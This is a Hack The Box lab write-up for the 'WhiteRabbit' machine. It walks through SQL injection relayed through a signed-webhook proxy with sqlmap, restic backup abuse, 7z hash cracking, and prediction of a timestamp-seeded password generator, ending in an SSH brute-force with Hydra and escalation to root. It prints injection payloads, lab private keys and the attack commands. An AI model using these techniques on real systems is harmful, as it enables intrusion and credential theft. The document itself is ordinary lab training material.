WhiteRabbit is an insane-difficulty machine from Hack The Box : Flask proxy endpoint → signed webhook request abuse → SQL injection in webhook backend by relaying it → MySQL database dump → extract command_log entries → identify and reverse timestamp-seeded rand() password generator → predict valid password → SSH login as neo → sudo to root
WhiteRabbit
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA) |_ 256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519) 80/tcp open http Caddy httpd |_http-server-header: Caddy |_http-title: Did not follow redirect to http://whiterabbit.htb 2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA) |_ 256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 39.01 seconds
We can see that we have our usual ssh port, a web application deployed on port 80 that’s redirecting us to whiterabbit.htb so we’ll add it to our /etc/hosts file and finally another ssh service deployed on port 2222.
We will create a Flask app that is basically a small proxy that takes whatever you pass in the q parameter, treats it as an email, signs it with an HMAC, and forwards it to the Gophish webhook endpoint, then returns the webhook’s response. The forwarded email value is being used unsafely by the webhook’s backend We will abuse this with sqlmap by exploiting the downstream webhook service, which lets us dump the MySQL databases and even recover logged shell commands from the backend => SQL injection through a relay endpoint:
$ sqlmap -u 'http://127.0.0.1:5000/?q=test' -p q --level 5 --risk 3 --batch --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.8.11#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:29:22 /2025-04-07/
[12:29:22] [INFO] testing connection to the target URL [12:29:23] [INFO] testing if the target URL content is stable [12:29:23] [INFO] target URL content is stable [12:29:24] [INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'MySQL') [12:29:24] [INFO] testing for SQL injection on GET parameter 'q' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [12:29:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:29:37] [WARNING] reflective value(s) found and filtering out [12:30:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [12:30:59] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)' [12:31:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' [12:31:43] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable [12:31:43] [INFO] testing 'Generic inline queries' [12:31:43] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [12:31:44] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [12:31:44] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [12:31:49] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [12:31:50] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [12:31:50] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [12:31:51] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [12:31:51] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [12:31:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:31:52] [INFO] GET parameter 'q' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [12:31:52] [INFO] testing 'MySQL inline queries' [12:31:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [12:32:04] [INFO] GET parameter 'q' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable [12:32:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [12:32:16] [INFO] GET parameter 'q' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [12:32:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [12:32:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [12:32:17] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [12:32:19] [INFO] target URL appears to have 2 columns in query do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [12:32:26] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [12:32:35] [INFO] target URL appears to be UNION injectable with 2 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [12:32:45] [INFO] testing 'Generic UNION query (10) - 21 to 40 columns' [12:32:54] [INFO] testing 'Generic UNION query (10) - 41 to 60 columns' [12:33:12] [INFO] testing 'Generic UNION query (10) - 61 to 80 columns' [12:36:53] [INFO] testing 'Generic UNION query (10) - 81 to 100 columns' [12:37:01] [INFO] testing 'MySQL UNION query (20) - 1 to 20 columns' [12:37:13] [INFO] testing 'MySQL UNION query (10) - 21 to 40 columns' [12:38:42] [INFO] testing 'MySQL UNION query (10) - 41 to 60 columns' [12:40:59] [INFO] testing 'MySQL UNION query (10) - 61 to 80 columns' [12:41:08] [INFO] testing 'MySQL UNION query (10) - 81 to 100 columns' GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 1565 HTTP(s) requests: --- Parameter: q (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: q=test" AND 6979=(SELECT (CASE WHEN (6979=6979) THEN 6979 ELSE (SELECT 8267 UNION SELECT 3305) END))-- - Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=test" AND (SELECT 8266 FROM(SELECT COUNT(*),CONCAT(0x7171707a71,(SELECT (ELT(8266=8266,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EhMa
Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: q=test";SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=test" AND (SELECT 4519 FROM (SELECT(SLEEP(5)))yRql)-- yGPS --- [12:43:49] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 (MariaDB fork) [12:43:51] [INFO] fetching database names [12:43:51] [INFO] retrieved: 'information_schema' [12:43:52] [INFO] retrieved: 'phishing' [12:43:52] [INFO] retrieved: 'temp' available databases [3]: [*] information_schema [*] phishing [*] temp
[12:43:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 12:53:58 /2025-04-07/ [12:53:59] [INFO] resuming back-end DBMS 'mysql' [12:53:59] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: q (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: q=test" AND 6979=(SELECT (CASE WHEN (6979=6979) THEN 6979 ELSE (SELECT 8267 UNION SELECT 3305) END))-- - Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=test" AND (SELECT 8266 FROM(SELECT COUNT(*),CONCAT(0x7171707a71,(SELECT (ELT(8266=8266,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EhMa Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: q=test";SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=test" AND (SELECT 4519 FROM (SELECT(SLEEP(5)))yRql)-- yGPS --- [12:53:59] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 (MariaDB fork) [12:53:59] [INFO] fetching tables for database: 'temp' [12:53:59] [WARNING] reflective value(s) found and filtering out [12:54:00] [INFO] retrieved: 'command_log' [12:54:00] [INFO] fetching columns for table 'command_log' in database 'temp' [12:54:00] [INFO] retrieved: 'id' [12:54:01] [INFO] retrieved: 'int(11)' [12:54:01] [INFO] retrieved: 'command' [12:54:02] [INFO] retrieved: 'varchar(255)' [12:54:02] [INFO] retrieved: 'date' [12:54:05] [INFO] retrieved: 'timestamp' [12:54:05] [INFO] fetching entries for table 'command_log' in database 'temp' [12:54:06] [INFO] retrieved: '2024-08-30 10:44:01' [12:54:06] [INFO] retrieved: 'uname -a' [12:54:09] [INFO] retrieved: '1' [12:54:09] [INFO] retrieved: '2024-08-30 11:58:05' [12:54:10] [INFO] retrieved: 'restic init --repo rest:http://75951e6ff.whiterabbit.htb' [12:54:10] [INFO] retrieved: '2' [12:54:13] [INFO] retrieved: '2024-08-30 11:58:36' [12:54:13] [INFO] retrieved: 'echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd' [12:54:14] [INFO] retrieved: '3' [12:54:16] [INFO] retrieved: '2024-08-30 11:59:02' [12:54:16] [INFO] retrieved: 'rm -rf .bash_history ' [12:54:17] [INFO] retrieved: '4' [12:54:17] [INFO] retrieved: '2024-08-30 11:59:47' [12:54:19] [INFO] retrieved: '#thatwasclose' [12:54:20] [INFO] retrieved: '5' [12:54:20] [INFO] retrieved: '2024-08-30 14:40:42' [12:54:21] [INFO] retrieved: 'cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd' [12:54:23] [INFO] retrieved: '6' Database: temp Table: command_log [6 entries] +----+---------------------+------------------------------------------------------------------------------+ | id | date | command | +----+---------------------+------------------------------------------------------------------------------+ | 1 | 2024-08-30 10:44:01 | uname -a | | 2 | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb | | 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd | | 4 | 2024-08-30 11:59:02 | rm -rf .bash_history | | 5 | 2024-08-30 11:59:47 | #thatwasclose | | 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd | +----+---------------------+------------------------------------------------------------------------------+
[12:54:23] [INFO] table 'temp.command_log' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/temp/command_log.csv' [12:54:23] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 12:54:23 /2025-04-07/
Now we will use the obtained data to retrieve the restic data, get the hash, crack it, and later get the ssh private key:
$ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd $ restic restore latest --target ./restored_data --repo rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd repository 5b26a938 opened (version 2, compression level auto) created new cache in /home/kali/.cache/restic [0:00] 100.00% 5 / 5 index files loaded restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to ./restored_data Summary: Restored 5 files/dirs (572 B) in 0:00
$ pwd /home/kali/restored_data/dev/shm/bob/ssh $ 7z2john bob.7z > hash ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes $ cathash bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00
$ john -w=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 3 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Cost 4 (data length) is 365 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:03:38 0.13% (ETA: 2025-04-09 12:47) 0g/s 100.6p/s 100.6c/s 100.6C/s lovers123..kokito 1q2w3e4r5t6y (bob.7z) 1g 0:00:03:56 DONE (2025-04-07 13:10) 0.004234g/s 100.9p/s 100.9c/s 100.9C/s 200200..150390 Use the "--show" option to display all of the cracked passwords reliably Session completed.
$ ls bob bob.pub config $ cat * -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ= -----END OPENSSH PRIVATE KEY----- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy Host whiterabbit HostName whiterabbit.htb Port 2222 User bob
Once we are in, we will abuse restic again to get the morpheus ssh key:
ob@ebdce80611e9:~$ sudo restic init --repo /tmp/kujen enter password for new repository: enter password again: created restic repository 42daf6fb10 at /tmp/kujen
Please note that knowledge of your password is required to access the repository. Losing your password means that your data is irrecoverably lost. bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ backup /root enter password for repository: repository 42daf6fb opened (version 2, compression level auto) created new cache in /root/.cache/restic no parent snapshot found, will read all files
processed 4 files, 3.865 KiB in 0:00 snapshot 8facbebd saved bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ ls latest enter password for repository: repository 42daf6fb opened (version 2, compression level auto) [0:00] 100.00% 1 / 1 index files loaded snapshot 8facbebd of [/root] filtered by [] at 2025-04-07 17:14:02.802882091 +0000 UTC): /root /root/.bash_history /root/.bashrc /root/.cache /root/.profile /root/.ssh /root/morpheus /root/morpheus.pub bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ dump latest /root/morpheus enter password for repository: repository 42daf6fb opened (version 2, compression level auto) [0:00] 100.00% 1 / 1 index files loaded -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR 4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp c3QBAg== -----END OPENSSH PRIVATE KEY-----
$ ssh [email protected] -i morpheus The authenticity of host 'whiterabbit.htb (10.129.25.169)' can't be established. ED25519 key fingerprint is SHA256:F9XNz/rgt655Q1XKkL6at11Zy5IXAogAEH95INEOrIE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'whiterabbit.htb' (ED25519) to the list of known hosts. Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Mon Apr 7 17:21:46 2025 from 10.10.16.19 morpheus@whiterabbit:~$ ls user.txt morpheus@whiterabbit:~$ cat user.txt e61f4c0399c6bc0042392cdeaea91c80 morpheus@whiterabbit:~$ exit
Privilege Escalation
Now from the dumped command log I noticed /opt/neo-password-generator being used right before a passwd call, so I recreated the binary logic locally and saw it was just generating passwords using rand() seeded with a fixed timestamp. By hardcoding that exact time and bruteforcing the 1000 possible millisecond offsets, I generated the same password list, fed it to Hydra, and quickly logged in as neo over SSH. Since neo is in the sudo group, got root and the root flag:
$ ./generator > passwords $ hydra -l neo -P passwords -t 16 ssh://whiterabbit.htb Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-07 13:30:39 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task [DATA] attacking ssh://whiterabbit.htb:22/ [22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-07 13:30:50
neo@whiterabbit:~$ id uid=1000(neo) gid=1000(neo) groups=1000(neo),27(sudo) neo@whiterabbit:~$ sudo su [sudo] password for neo: root@whiterabbit:/home/neo# cat /root/root.txt e410b4dbbc359f900caf510fa488c2ce root@whiterabbit:/home/neo#
That was it for whiterabbit, hope you enjoyed! -0xkujen